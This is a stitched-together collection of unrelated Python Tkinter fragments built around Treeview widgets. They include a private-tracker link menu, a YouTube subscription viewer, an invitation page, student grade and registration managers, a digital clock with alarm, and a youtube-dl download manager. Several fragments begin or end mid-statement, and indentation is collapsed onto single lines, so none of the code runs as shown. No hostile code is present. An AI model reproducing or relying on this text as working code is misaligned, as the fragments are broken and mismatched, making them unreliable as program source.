state='normal') else: self.menulink.entryconfig('进入TTG', state='disabled') self.menucopylink.entryconfig('TTG链接', state='disabled') if link['hdchina']: self.menulink.entryconfig('进入HDChina', state='normal') self.menucopylink.entryconfig('HDChina链接', state='normal') else: self.menulink.entryconfig('进入HDChina', state='disabled') self.menucopylink.entryconfig('HDChina链接', state='disabled') if link['pter']: self.menulink.entryconfig('进入猫站', state='normal') self.menucopylink.entryconfig('猫站链接', state='normal') else: self.menulink.entryconfig('进入猫站', state='disabled') self.menucopylink.entryconfig('猫站链接', state='disabled') self.menu.post(event.x_root, event.y_root) def format_dict_for_completed_task(self, detail_link): tmp_dict = {} task = self.task_dict[detail_link] tmp_dict['hash_info'] = task.get_hash_info() tmp_dict['path'] = task.get_abs_file_path() tmp_dict['progress_info'] = task.get_all_info() self.complete_task[detail_link] = tmp_dict def get_task(self): selected_item = self.tree.selection()[0] link = self.tree.item(selected_item, 'values')[0] statu = self.tree.item(selected_item, 'values')[2] if not statu == '任务完成': if statu == '任务丢失': return '' else: task = self.task_dict[link] else: task = self.complete_task[link] return task def get_uploaded_link(self): link = { 'hudbt': '', 'tjupt': '', 'nypt': '', 'mteam': '', 'ssd': '', 'ourbits': '', 'hdsky': '', 'hdchina': '', 'ttg': '', 'pter': '' } task = self.get_task() if task: if isinstance(task, dict): all_statu = task['progress_info'] else: all_statu = task.get_all_info() for item in all_statu: if item.find('https://hudbt.hust.edu.cn/') >= 0: hudbt_link = item.split(':')[-1] link['hudbt'] = hudbt_link if item.find('https://www.tjupt.org/') >= 0: tjupt_link = item.split(':')[-1] link['tjupt'] = tjupt_link if item.find('https://nanyangpt.com/') >= 0: nypt_link = item.split(':')[-1] link['nypt'] = nypt_link if item.find('https://pt.m-team.cc') >= 0: mteam_link = item.split(':')[-1] link['mteam'] = mteam_link if item.find('https://springsunday.net') >= 0: ssd_link = item.split(':')[-1] link['ssd'] = ssd_link if item.find('https://ourbits.club') >= 0: ourbits_link = item.split(':')[-1] link['ourbits'] = ourbits_link if item.find('https://hdsky.me/') >= 0: hdsky_link = item.split(':')[-1] link['hdsky'] = hdsky_link if item.find('https://hdchina.org/') >= 0: hdchina_link = item.split(':')[-1] link['hdchina'] = hdchina_link if item.find('https://totheglory.im/') >= 0: ttg_link = item.split(':')[-1] link['ttg'] = ttg_link if item.find('https://pterclub.com/') >= 0: ttg_link = item.split(':')[-1] link['pter'] = ttg_link return link
class YoutubeClient(Frame): def __init__(self, dark_theme=False, master=None): super().__init__(master) self.pack(fill=FILLBOTH, expand=1) if dark_theme: Style().configure(".", background="#111111", foreground="white") Style().configure("Treeview", background="#222222", fieldbackground="#222222", foreground="orange") Style().map("Treeview.Heading", background=[('active', '#111111')], foreground=[('active', 'orange')]) Style().configure("Treeview.Heading", font=("TkDefaultFont", 18)) Style().map("TButton", background=[('pressed', '#555555')], foreground=[('active', "orange")]) Style().configure("TButton", font=("TkDefaultFont", 18)) Style().configure("TLabel", font=("TkDefaultFont", 18)) # results tree self.results = Treeview(self) self.results["columns"] = ("video") self.results.column("#0", width=175, stretch=False) self.results.heading("#0", text="channel") self.results.column("video") self.results.heading("video", text="video") self.results.bind("<Double-Button-1>", self.clipboard) self.results.pack(side="top", fill=FILLBOTH, expand=1) # I/O row self.button_bar = Frame(self) self.button_bar.pack(side="top", fill=FILLX) self.progressLabel = Label(self.button_bar, text="progress") self.progressLabel.pack(side="left") self.progress = Progressbar(self.button_bar, orient="horizontal", length=200, mode="determinate") self.progress.pack(side="left") self.update = Button(self.button_bar, text="Update", command=self.update_vids) self.update.pack(side="right") self.show_today = Button(self.button_bar, text="show todays vids", command=self.show_todays_vids) self.show_today.pack(side="right") ######################### ## callback functions ## ######################### def update_vids(self): self.clear_results() t = threading.Thread(target=self.get_recent_videos) t.daemon = True t.start() def show_todays_vids(self): self.clear_results() for a in get_today_videos(): channel = a.split()[0] title = " ".join(a.split()[1:]) self.add_video(channel, title) def clipboard(self, event): index = self.results.focus() if index and "values" in self.results.item(index) and len( self.results.item(index)["values"]): video_title = self.results.item(index)["values"][0] self.clipboard_clear() self.clipboard_append(video_title) ########################## ### utility functions ### ########################## def clear_results(self): if self.results.get_children(): for a in self.results.get_children(): self.results.delete(a) def add_video(self, channel, video_title): # since tkinter can't display unicode over 0xFFFF, they are removed # before being displayed on tkinter channel = clean_unicode(channel) video_title = clean_unicode(video_title) channel_tree = [b for b in self.results.get_children() if b == channel] if channel_tree: video_leaf = self.results.insert(channel_tree[0], 0, values=(video_title, )) self.results.see(video_leaf) else: channel_tree_branch = self.results.insert("", 0, channel, text=channel) video_leaf = self.results.insert(channel_tree_branch, 0, values=(video_title, )) self.results.see(video_leaf) def clear_box(self): for i in range(self.results.size()): self.results.delete(0) def get_recent_videos(self): history_file = expanduser(pjoin("~", ".config", "ytsub", "history.txt")) url_file = expanduser(pjoin("~", ".config", "ytsub", "channels.txt")) TODAY = datetime.date.today().strftime("%m/%d/%y") with open(history_file) as f: old_videos = [a.split()[0].strip() for a in f] with open(url_file) as f: channels = [a.split() for a in f] self.progress["maximum"] = len(channels) for i, channel in enumerate(channels): channel_url, channel_title = channel self.progressLabel["text"] = "{0} / {1}".format( i + 1, len(channels)) time.sleep(3) for video in get_videos(channel_url): video_link, video_title = video if video_link not in old_videos: self.add_video(channel_title, video_title) with open(history_file, "a") as f: struct = [ video_link, TODAY, channel_title, video_title ] f.write(" ".join(struct) + "\n") # after values are added, increment the progress bar. self.progress["value"] = i + 1
class InvitePage: def __init__(self): self.win = Tk() self.win.title("The Hive") self.win.geometry('{}x{}'.format(800, 450)) self.canvas = Canvas(self.win, bg='#36393F') self.frame = Frame(self.canvas, bg='#36393F', width=600, height=340) self.acceptButton = Button(self.frame, text="Accept", font='Arial 15 bold', bg='#36393F', fg="#f7cc35", command=self.accept) self.declineButton = Button(self.frame, text="Decline", font='Arial 15 bold', bg='#36393F', fg="#f7cc35", command=self.decline) self.list = Treeview(self.frame, columns=(1, 2, 3, 4), show="headings", height="15") self.user = db.getName() def main(self): self.canvas.pack(expand=TRUE, fill=BOTH) self.frame.pack(expand=TRUE) self.list.pack() self.list.heading(1, text="From") self.list.column(1, width=100) self.list.heading(2, text="ID") self.list.column(2, width=20) self.list.heading(3, text="Group Name") self.list.column(3, width=100) self.list.heading(4, text="Description") self.list.column(4, width=150) db.cursor.execute( 'SELECT inviter, projects.id, projects.name, projects.description FROM invitations, ' 'projects WHERE invitations.group_id = projects.id AND invited = %s', (self.user, )) for row in db.cursor.fetchall(): self.list.insert('', END, values=row) self.acceptButton.pack(expand=TRUE, side=LEFT) self.declineButton.pack(expand=TRUE, side=LEFT) self.win.mainloop() def accept(self): for selected_item in self.list.selection(): inviter = self.list.item(selected_item, 'values')[0] groupID = self.list.item(selected_item, 'values')[1] self.list.delete(selected_item) db.cursor.execute( "DELETE FROM invitations WHERE inviter = %s AND invited = %s AND group_id = %s", (inviter, self.user, groupID)) db.cursor.execute("INSERT INTO group_membership VALUES(%s, %s)", (self.user, groupID)) def decline(self): for selected_item in self.list.selection(): inviter = self.list.item(selected_item, 'values')[0] groupID = self.list.item(selected_item, 'values')[1] self.list.delete(selected_item) db.cursor.execute( "DELETE FROM invitations WHERE inviter = %s AND invited = %s AND group_id = %s", (inviter, self.user, groupID))
class Demo(Tk): icon_res = [] file_name = None def __init__(self): super().__init__() self._set_windows_() self._create_menu_bar_() self._create_shortcut_bar_() self._create_body_() self.DATAS = pd.DataFrame(columns=INFOS) def _set_windows_(self): self.title('学生成绩管理系统') scn_width, scn_height = self.maxsize() wm_val = '1200x450+%d+%d' % ((scn_width - 800) / 2, (scn_height - 450) / 2) self.geometry(wm_val) # self.iconbitmap("img/editor.ico") def _create_menu_bar_(self): menu_bar = Menu(self) file_menu = Menu(menu_bar, tearoff=0) file_menu.add_command(label='add', accelerator='Ctrl+N', command=self.add) file_menu.add_command(label='save_to_file', command=self.save_to_file) file_menu.add_command(label='Exit', command=self.edit) file_menu.add_command(label='Search', command=self.search) file_menu.add_command(label='Total', command=self.total) file_menu.add_command(label='save_to_DATAS', command=self.save_to_DATAS) file_menu.add_command(label='Average', command=self.average) file_menu.add_command(label='open_file', command=self.open_file) file_menu.add_command(label='add', command=self.add) file_menu.add_command(label='delete_selected_item', command=self.delete_item) file_menu.add_command(label='clear_all', command=self.clear_all) file_menu.add_command(label='delete_item', command=self.delete_item) file_menu.add_command(label='init_demo', command=self.init_demo) file_menu.add_command(label='sort_as_total', command=self.sort_as_total) file_menu.add_command(label='average_stu', command=self.average_stu) menu_bar.add_cascade(label='程序中所有函数(测试)', menu=file_menu) help_menu = Menu(menu_bar, tearoff=0) help_menu.add_command(label='帮助', accelerator='Ctrl+H', command=self.about) help_menu.add_command(label='关于', accelerator='Ctrl+H', command=self.about) menu_bar.add_cascade(label='---> 请先阅读帮助中的说明!!!<---', menu=help_menu) self["menu"] = menu_bar def _create_shortcut_bar_(self): shortcut_bar = Frame(self, height=25, background='#00CED1') shortcut_bar.pack(fill=X) right_bar = Frame(self, width=25, background='#FF8C00') right_bar.pack(side=RIGHT, fill=Y) for i, icon in enumerate(ICONS): icon_img = PhotoImage(file='img/%s.gif' % icon) btn = Button(shortcut_bar, image=icon_img, command=lambda x=icon: self._shortcut_action_(x)) btn.pack(side=LEFT) self.icon_res.append(icon_img) def _create_body_(self): scrollBar = Scrollbar(self) scrollBar.pack(side=RIGHT, fill=Y) self.tree = Treeview(self, show='headings', yscrollcommand=scrollBar.set) # 表格 index = tuple([str(i) for i in range(len(INFOS))]) self.tree["columns"] = index for i, info in zip(index, INFOS): self.tree.column(i, width=len(i) * 10, anchor='center') self.tree.heading(i, text=info) #显示表头 self.tree.pack(fill=BOTH, ipady=500) # 将滚动条绑定至Treeview scrollBar.config(command=self.tree.yview) # 快捷键相关设置 # 函数参数需要有event=None self.tree.bind('<Double-Button-1>', self.edit) # 响应快捷菜单 def _shortcut_action_(self, type): if type == "open_file": self.open_file() elif type == "add": self.add() elif type == "edit": self.edit() elif type == "save_file": self.save_to_file() elif type == "save_DATAS": self.save_to_DATAS() elif type == "delete": self.delete_item() elif type == "clear_all": self.clear_all() elif type == "search": self.search() elif type == "total": try: self.total() except: messagebox.showinfo(title='警告', message='请检查输入信息') elif type == "average": try: self.average() except: messagebox.showinfo(title='警告', message='请检查输入信息') elif type == "sort": try: self.sort_as_total() except: messagebox.showinfo(title='警告', message='请检查输入信息') elif type == "sort_no": try: self.sort_as_no() except: messagebox.showinfo(title='警告', message='请检查输入信息') elif type == "exit": self.exit() elif type == "average_stu": try: self.average_stu() except: messagebox.showinfo(title='警告', message='请检查输入信息') elif type == "about": self.about() def showline(self, event=None): print(self.tree.selection()) for item in self.tree.selection(): item_text = self.tree.item(item, 'values') print(item_text) def clear_all(self): print('-------------follow item will be cleared:BEG-------------') print(self.tree.get_children()) print('\n') for item in self.tree.get_children(): self.tree.delete(item) print(item + ' : ', end=' ') print('deleted', end=' ') print('\n-------------items had been cleared:END-------------') def init_demo(self): self.clear_all() self.DATAS = pd.DataFrame(columns=INFOS) print('---------------demo inited----------------') def delete_item(self, event=None): print('-------------Your selection:BEG-------------') print(self.tree.selection()) for item in self.tree.selection(): self.tree.delete(item) print('-------------Your selection cleared:END-------------') def add(self, event=None): add_windows = Toplevel(self) scn_width, scn_height = self.maxsize() wm_val = '320x400+%d+%d' % ((scn_width - 320) / 2, (scn_height - 400) / 2) add_windows.geometry(wm_val) add_windows.resizable(0, 0) add_windows.title('添加新的学生') frame = Frame(add_windows) frame.pack(fill=Y) self.entryList = locals() for i, info in enumerate(INFOS[:-2]): # -2 不添加总分 和 平均分 Label(frame, text=info + ' : ').grid(row=i, column=0, pady=5) self.entryList[info] = Entry(frame) self.entryList[info].grid(row=i, column=1, pady=5) frame_btn = Frame(add_windows) frame_btn.pack(fill=Y) Button(frame_btn, text='添加', command=lambda: update()).grid(row=0, column=0, pady=5) Button(frame_btn, text='清空', command=lambda: clear()).grid(row=0, column=1, pady=5) Button(frame_btn, text='取消', command=lambda: exit()).grid(row=0, column=2, pady=5) def update(): DATAS = [] for info in INFOS: data = self.entryList[info].get() DATAS.append(data) for i in DATAS[:-1]: if i == '': messagebox.showwarning(title='警告', message='输入空白') clear() return self.tree.insert("", END, values=DATAS) def clear(): for info in INFOS: self.entryList[info].delete(0, END) def exit(): add_windows.destroy() def open_file(self, options=None): if options: input_file = options else: input_file = filedialog.askopenfilename( filetypes=[("所有文件", "*.*"), ("Excel文档", "*.xlsx")]) if input_file: print('-----------------成功导入文件:', input_file, type(input_file), '---------------') def read_excel(file): df = pd.read_excel(file) print('---------------reading excel!-----------------') print(df) print('---------------read excel done!-----------------') return df df = read_excel(input_file) # input data to Treeview print('---------------inputing to TreeView!-----------------') for i in df.iloc: data = i.tolist() # 若导入的文件中缺少数据,则缺少的数据用空补上 for i in range(len(INFOS) - len(data)): data.append('') # 打印测试 print(data) # 测试用 把 平均分 和 总分 置空 data[-1] = '' data[-2] = '' self.tree.insert("", END, values=data) print('---------------input to TreeView done!-----------------') def save_to_DATAS(self): print('---------------saving to DATAS!-----------------') self.DATAS = pd.DataFrame(columns=INFOS) indexs = self.tree.get_children() for i in indexs: value = self.tree.item(i, 'values') print(value) self.DATAS.loc[len(self.DATAS)] = list(value) print('---------------save to DATAS done!-----------------') def save_to_file(self): outputfile = filedialog.asksaveasfilename( filetypes=[("所有文件", "*.*"), ("Excel文档", "*.xlsx")]) self.save_to_DATAS() # outputfile = 'new.xlsx' self.DATAS.to_excel(outputfile, index=FALSE) print( '---------------------------save to file done!---------------------------------' ) def edit(self, event=None): item = self.tree.selection() # Layout edit_windows = Toplevel(self) scn_width, scn_height = self.maxsize() wm_val = '320x450+%d+%d' % ((scn_width - 320) / 2, (scn_height - 450) / 2) edit_windows.geometry(wm_val) edit_windows.resizable(0, 0) edit_windows.title('编辑学生信息') # 创建标签和输入框 frame = Frame(edit_windows) frame.pack(fill=Y) self.entryList = locals() for i, info in enumerate(INFOS): Label(frame, text=info + ' : ').grid(row=i, column=0, pady=5) self.entryList[info] = Entry(frame) self.entryList[info].grid(row=i, column=1, pady=5) # 创建按钮布局 frame_btn = Frame(edit_windows) frame_btn.pack(fill=Y) Button(frame_btn, text='确定', command=lambda: update()).grid(row=0, column=0, pady=5) Button(frame_btn, text='清空', command=lambda: clear()).grid(row=0, column=1, pady=5) Button(frame_btn, text='取消', command=lambda: exit()).grid(row=0, column=2, pady=5) # 将待修改的数据导入输入框(方便修改,不用全部重新输入) values = self.tree.item(item, 'values') for value, info in zip(values, INFOS): self.entryList[info].insert(END, value) print(values) print('--------------input to entry done!------------') def update(): temp = [] for i, info in enumerate(INFOS): data = self.entryList[info].get() temp.append(data) self.tree.set(item, i, value=data) print('----------------editing data!-----------------') print(temp) print('---------------edit data done!-----------------') exit() def clear(): for info in INFOS: self.entryList[info].delete(0, END) def exit(): edit_windows.destroy() # item = self.tree.selection() # self.tree.set(item, 0, value='helloworld') def search(self): search_windows = Toplevel(self) search_windows.title('搜索全部') search_windows.transient(self) search_windows.resizable(0, 0) scn_width, scn_height = self.maxsize() wm_val = '380x70+%d+%d' % ((scn_width - 380) / 2, (scn_height - 70) / 2) search_windows.geometry(wm_val) Label(search_windows, text='查找全部:').grid(row=0, column=0, sticky=E) search_entry = Entry(search_windows, width=25) search_entry.grid(row=0, column=1, padx=2, pady=20, sticky='we') search_entry.focus_set() Button(search_windows, text='查找', command=lambda: search_result()).grid(row=0, column=2, sticky=E + W, padx=2, pady=2) def search_result(): result = [] indexs = self.tree.get_children() search_data = search_entry.get() print(search_data, type(search_data)) for i, index in enumerate(indexs): values = self.tree.item(index, 'values') print(values, end=' ') for value in list(values)[:2]: if search_data in value: result.append(search_data) print(result) self.tree.selection_set(index) self.tree.yview_moveto(i / len(indexs)) break else: print('No Found') if result: return else: messagebox.showinfo(title='提示', message='未找到匹配项') # 选择 # self.tree.selection_set('I001') # self.tree.yview_moveto(1) # 取消选择 # self.tree.selection_remove('I001') def update_to_tree(self): # 删除Treeview中所有元素 for index in self.tree.get_children(): self.tree.delete(index) # 插入DATAS中的元素到TreeView中 for i in self.DATAS.iloc: data = i.tolist() self.tree.insert("", END, values=data) def total(self): self.save_to_DATAS() temp = self.DATAS[['成绩A', '成绩B', '成绩C']].astype('int') self.DATAS['总分'] = temp.sum(axis=1) print( '---------------------------Total calculate done!-----------------------------' ) print(self.DATAS) print( '---------------------------Total calculate done!-----------------------------' ) # # 删除Treeview中所有元素 # for index in self.tree.get_children(): # self.tree.delete(index) # # 插入DATAS中的元素到TreeView中 # for i in self.DATAS.iloc: # data = i.tolist() # self.tree.insert("", END, values=data) self.update_to_tree() def average_stu(self): self.save_to_DATAS() temp = self.DATAS[['成绩A', '成绩B', '成绩C']].astype('int') # round 计算并保留两位小数 round( *, 2 ) self.DATAS['平均分'] = round(temp.mean(axis=1), 2) print( '---------------------------per average calculate done!-----------------------------' ) print(self.DATAS) print( '---------------------------per average done!-----------------------------' ) self.update_to_tree() def average(self): self.total() temp = self.DATAS[['总分']].astype('float64') av = temp.mean(axis=0) print('---------------------------AV-----------------------------') print('平均分:', float(av)) print('---------------------------AV-----------------------------') class_grade = '\t总平均分: %.2f' % float(av) messagebox.showinfo(title='平均分', message=class_grade) def sort_as_total(self): self.total() self.DATAS.sort_values(by='总分', ascending=False, inplace=True) print('--------------------sorting values!----------------') print(self.DATAS) print('--------------------sort values done!--------------') # drop 清洗列表 去掉NaN的行 self.DATAS.reset_index(drop=True, inplace=True) print('--------------------cleaning datas!----------------') print(self.DATAS) print('--------------------clean datas done!--------------') self.update_to_tree() print('--------------------update to tree done!--------------') # Text self.DATAS.to_excel('text.xlsx', index=False) def sort_as_no(self): self.save_to_DATAS() self.DATAS['学号'] = self.DATAS[['学号']].astype('int') self.DATAS.sort_values(by='学号', inplace=True) print(self.DATAS) print('-------------------sort as no done!-----------------') self.DATAS.reset_index(drop=True, inplace=True) print(self.DATAS) print('--------------------clean data done!-----------------') self.update_to_tree() print('--------------------update to tree done!--------------') # Text self.DATAS.to_excel('text_sort_no.xlsx', index=False) def about(self): # info = 'Github Page: %s \nWeb: %s\n' % (ADRS[0], ADRS[1]) # messagebox.showinfo(title='About', message=info) help = [ '打开Excel文件 其中所有学生信息将导入', '添加一个学生信息 单个添加', '编辑学生信息 选中一个数据后点击 也可直接双击数据编辑', '保存学生信息至Excel文件 文件可用于导入', '刷新数据列表 将窗口内所有学生信息更新至DATAS 用于计算', '删除学生 选中一个或多个(Shift)数据后单击 即可删除该数据 ', '清空所有信息', '查找学生信息 输入姓名 或 学号即可自动遍历查找', '求各个学生的总分', '求所有学生的平均分', '将所有学生按总分排序 会先自动计算总分', '求各个学生的平均分 会先自动线计算总分', '将所有学生按学号排序', '关于帮助', '退出程序' ] about_windows = Toplevel(self) about_windows.title('程序使用说明') # 容器框 (LabelFrame) group = LabelFrame(about_windows, text="Help", padx=5, pady=5) group.grid(padx=10, pady=10) # w = Label(group, text='本学习项目由 http://pegasu.cn 出品 \n\nGithub: https://github.com/pegasuswiki') # w.pack() for i, icon in enumerate(ICONS): icon_img = PhotoImage(file='img/%s.gif' % icon) Label(group, image=icon_img).grid(row=i, column=0, stick=NW, padx=5, pady=5) Label(group, text=help[i]).grid(row=i, column=1, stick=W, padx=5, pady=5) self.icon_res.append(icon_img) # 必须有 作用: 保存图片 w = Label( about_windows, text= '本学习项目由 http://pegasu.cn 出品 \n\nGithub: https://github.com/pegasuswiki' ) w.grid(pady=10) def exit(self): if messagebox.askokcancel("退出?", "确定退出吗?"): self.quit()
tree_view.heading('address',text='Address') tree_view.heading('gender',text='Gender') tree_view.heading('dob',text='D.O.B') tree_view.heading('added_date',text='Added Date') tree_view.heading('added_time',text='Added Time') tree_view['show']='headings' tree_view.column('id',width=80) tree_view.column('name',width=150) tree_view.column('mobile no.',width=150) tree_view.column('email',width=200) tree_view.column('address',width=200) tree_view.column('gender',width=80) tree_view.column('dob',width=100) tree_view.column('added_date',width=100) tree_view.column('added_time',width=100) tree_view.pack(fill=BOTH,expand=1) #---------------------------------------------LABEL-------------------------------# text='Student Management System' count=0 slider_label=Label(root,text=text,font=('chiller',20,'italic bold'),relief=SOLID,borderwidth=3,bg='grey',width=30) slider_label.place(x=390,y=0) #--------------------------------------------------------------------------------------------------# clock_label=Label(root,font=('times',15,'italic'),relief=RIDGE,borderwidth=3,bg='grey',width=14) clock_label.place(x=0,y=0,anchor='nw') clock() #show_data_button=Button(root,text='Add',relief=RIDGE,borderwidth=3,width=10) #show_data_button.place(x=200,y=200)
def digiclock(w): pane = tkinter.tix.PanedWindow(w, orientation='vertical') pane.pack(side=tkinter.tix.TOP, expand=1, fill=BOTH) f1 = pane.add('time',size=190) f2 = pane.add('options') f2pane = tkinter.tix.PanedWindow(f2, orientation='horizontal') f2pane.pack(side=tkinter.tix.TOP, expand=1, fill=BOTH) f2f1 = f2pane.add('alarm',size=150) f2f2 = f2pane.add('event') global al_status,al_time,m m='am' ts_status=ON al_status=OFF al_time=str() colour=['orange','red','violet','pink','blue','grey'] def ConfigEvents(): now=ctime().split() year=int(now[4]) mon=now[1].lower() date=int(now[2]) notes=CalLookUp( mon ) for each_item in Entries.get_children(): Entries.delete(each_item) ordered=[] for memo in notes: if(int(memo) >= date): ordered.append(memo) ordered.sort() for memo in ordered: for note in notes[memo]: Entries.insert('', 'end', values=( memo, note[0], note[1]) ) def displayTime(st,ts): global al_time,m sleep(3) day={'Mon' : 'Monday' , 'Tue' : 'Tuesday' , 'Wed' : 'Wednesday', 'Thu' : 'Thursday', 'Fri' : 'Friday' , 'Sat' : 'Saturday', 'Sun' : 'Sunday' } while(st): ct=ctime().split(' ') m='AM' if int(ct[3].split(':')[0])>11 : m='PM' if int(ct[3].split(':')[0])>12 : ct[3]=str( int( ct[3][:2] )-12 ) + ct[3][2:] if (ct[3].split(':')[0] == '00' ): ct[3]='12' + ct[3][2:] ConfigEvents() #~ if (not int(ct[3].split(':')[2])%10): ts.config( bg=colour[ int( int( ct[3].split(':')[2] )/10) ] ) mhs=ct[3].split(':') mode= { 'time&date' :'%s-%s-%s\n%s\n%0.2d:%0.2d:%0.2d %s'%(ct[1],ct[2],ct[4],day[ct[0]],int(mhs[0]),int(mhs[1]),int(mhs[2]),m), 'time' :'%0.2d:%0.2d:%0.2d %s'%(int(mhs[0]),int(mhs[1]),int(mhs[2]),m) } text =mode['time&date'] #~ print(ct) ts.config(text=text) #~ print(al_time,mode['time'],al_time==mode['time']) if(al_time==mode['time']): set.config( text='Stop' ) cal.config( text='Expired @ ' + al_time[:-2] ) thread.start_new_thread(lambda snd='ringout', repeat=ON :play( snd, repeat ) ,() ) sleep(1) def sett(): global al_status,sound_continueous,al_time if(al_status): al_status = OFF sound_continueous = OFF al_time = '' cal.config( text='No Alarm' ) set.config( text='Set' ) else: al_status = ON al_time = at.entry.get()+' '+ampm.entry.get() cal.config( text='Set @ ' + al_time ) set.config( text='Remove' ) bg='orange' #~ time frame tf=Frame( f1, bg='black' ) ts=Label( tf ,text="rajiv.m1991\n@\ngmail.com" ,font='times 40' ,bg='violet' ,width=11 ,fg='white') tf.pack(fill=BOTH) ts.pack(fill=X) #~ alarm frame af=Frame(f2f1,bg=bg) al=Label( af ,text="$ Alarm $" ,font='times' ,fg='white' ,bg='black') at=LabelEntry( af, label='HH:MM:SS', bg=bg ) at.label.config( fg='white', bg=bg ) at.entry.config( width=13, borderwidth=0 ) at.entry.insert( 0, '00:00:00' ) ampm=LabelEntry( af, label='AM / PM ', bg=bg ) ampm.entry.config( borderwidth=0 ) ampm.label.config( fg='white', bg=bg) if( int( ctime().split(' ')[3].split(':')[0]) > 11 ): ampm.entry.insert( 0,'PM' ) else: ampm.entry.insert( 0, 'AM' ) set=Button(af ,text='Set' ,command=sett ,fg='brown') ast=Label( af ,text='Alarm status:' ,fg='white' ,bg=bg ,anchor='sw') cal=Label( af ,text='No Alarm' ,fg='white' ,bg='black' ,anchor='sw') af.pack(fill=BOTH) al.pack(fill=X) at.pack(fill=X,padx=5,pady=5) ampm.pack(fill=X,padx=5,pady=5) set.pack() ast.pack(fill=X) cal.pack(fill=X) #~ options L=Label(f2f2,text="Upcoming Events") L.pack(fill=X) tree_columns = ("Dt", "Note", "Category") Entries=Treeview( f2f2, columns=tree_columns, show="headings", height=5) vsb = Scrollbar(f2f2,orient="vertical", command=Entries.yview) Entries.configure(yscrollcommand=vsb.set) for col in tree_columns: Entries.heading(col, text=col.title()) Entries.column(tree_columns[0],width=20) Entries.column(tree_columns[1],width=75) Entries.column(tree_columns[2],width=75) vsb.pack(side=RIGHT,fill=Y) Entries.pack(fill=BOTH) #~ start clock ConfigEvents() thread.start_new_thread(lambda st=ts_status ,ts=ts : displayTime(st,ts),()) print('Digital Clock Successfully built')
class MyApp(object): def __init__(self, master): # master container overlord_frame = Frame(master) overlord_frame.pack(fill=BOTH, expand=1) # buttons frame self.buttons_frame = Frame(overlord_frame) self.buttons_frame.pack(fill=X) self.button_add_video = Button(self.buttons_frame, text="Add", command=self.new_single_video_callback) self.button_add_video.pack(side=LEFT) # these are context-sensitive buttons. i.e they will only work if the user has selected something in the # listbox self.button_remove_download_from_list = Button(self.buttons_frame, text="Remove", command=self.on_remove) self.button_remove_download_from_list.pack(side=LEFT) # let's switch it up and use a treeview self.videos_treeview = Treeview(master, selectmode=EXTENDED, columns=('Name', 'Status', 'Percent', 'Speed', 'Remaining', 'Error')) self.videos_treeview.bind("<Double-1>", self.on_treeview_double_click) [ self.videos_treeview.heading(x, text=x) for x in self.videos_treeview['columns'] ] self.videos_treeview.column("#0", width=10) self.videos_treeview.pack(fill=BOTH, expand=1) # initialize our list of current video downloads self.videos_not_displayed = [] self.videos_displayed = {} # start the regular ui updates self.update_video_ui_repeating(master) def on_remove(self): indices = self.videos_treeview.selection() for index in indices: self.videos_displayed.pop(index, None) self.videos_treeview.delete(index) def on_treeview_double_click(self, event): index = self.videos_treeview.focus() if index == "": return selection = self.videos_displayed[index] path = selection.path open_folder(path) def update_video_ui_repeating(self, widget): # hoorah, we did it the right way! children = self.videos_treeview.get_children() for child in children: self.videos_treeview.item( child, text="", values=self.videos_displayed[child].to_columns()) # process any videos not currently in the tree: # add them to the tree, saving the id # add the video to the hash table holding them for vid in self.videos_not_displayed: key = self.videos_treeview.insert("", "end", text="", values=vid.to_columns()) self.videos_displayed[key] = vid self.videos_not_displayed.clear() # update again in 500 ms. widget.after(500, lambda: self.update_video_ui_repeating(widget)) @staticmethod def download_progress_hook(video_download, status): video_download.status = status @staticmethod def start_download(video_download): # get the video metadata with youtube_dl.YoutubeDL({}) as ydl: info_dict = ydl.extract_info(video_download.url, download=False) video_download.info = info_dict # now download the actual video ydl_opts = { "progress_hooks": [lambda x: MyApp.download_progress_hook(video_download, x)], **video_download.download_opts } with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download([video_download.url]) def create_video_download(self, url, download_opts, path): video_download = VideoDownload(url, download_opts, path) self.videos_not_displayed.append(video_download) thread = Thread(target=self.start_download, args=(video_download, )) thread.start() def submit_new_video_for_download(self, frame, url, destination, on_success): error = None # we are passed references to functions containing the values url = url() destination = destination() # check for valid url if not re.match(r"https?://(www\.)?youtube.com/watch\?v=\w+", url): # add in error to bottom of frame error = Label(frame, text="Not a Youtube URL") # check for valid save location elif False: pass if error: error.pack() return # outtmpl is the template to use when writing the video file to disk opts = { 'outtmpl': os.path.join(destination, '%(title)s-%(id)s.%(ext)s') } # okay, all checks pass self.create_video_download(url, opts, destination) on_success() def new_single_video_callback(self): top = Toplevel() top.title("New download") top.resizable(False, False) # set up the add video dialog box frame_url = Frame(top) frame_url.pack() msg_url = Message(frame_url, text="URL") msg_url.pack(side=LEFT) e = Entry(frame_url) e.pack(side=LEFT) frame_destination = Frame(top) frame_destination.pack() # todo more options # using a StringVar allows us to easily update the Label, in addition to storing the destination path dest_label = Label(frame_destination, text="Target") dest_label.pack() path_var = StringVar(value="/your/path/here/") path_lbl = Label(frame_destination, textvariable=path_var) path_lbl.pack(side=LEFT, fill=X) # fancy lambdas to prevent emptying `path_var` upon cancelling the dialog path_lbl.bind( "<Button-1>", lambda _: path_var.set( (lambda d: d if len(d) else path_var.get())(askdirectory()))) frame_actions = Frame(top) frame_actions.pack() submit = Button(frame_actions, text="Go", command=lambda: self.submit_new_video_for_download( top, e.get, path_var.get, top.destroy)) submit.pack(side=LEFT) cancel = Button(frame_actions, text="Cancel", command=top.destroy) cancel.pack(side=LEFT)
onvalue=1, offvalue=0, variable="Hostel").grid(column=5, row=6, sticky="e") save_button = ttk.Button(tab1, text='Save', width=25, command=save_record) save_button.grid(column=3, row=7, pady=30) clear_button = ttk.Button(tab1, text='Clear', width=25, command=clear) clear_button.grid(column=4, row=7, pady=30) #Label(tab1).grid(column = 8) #tab2 frame1 = Frame(tab2) frame1.pack() treev = Treeview(frame1, selectmode='browse') treev.pack() treev['columns'] = ('Rollno', 'Name', 'Gender', 'Address', 'Phone', 'Batch', 'Hostel') treev['show'] = 'headings' treev.column("Rollno", width=100) treev.column("Name", width=100) treev.column("Gender", width=100) treev.column("Address", width=100) treev.column("Phone", width=100) treev.column("Batch", width=100) treev.column("Hostel", width=100) treev.heading("Rollno", text='Rollno') treev.heading("Name", text='Name') treev.heading("Gender", text='Gender')
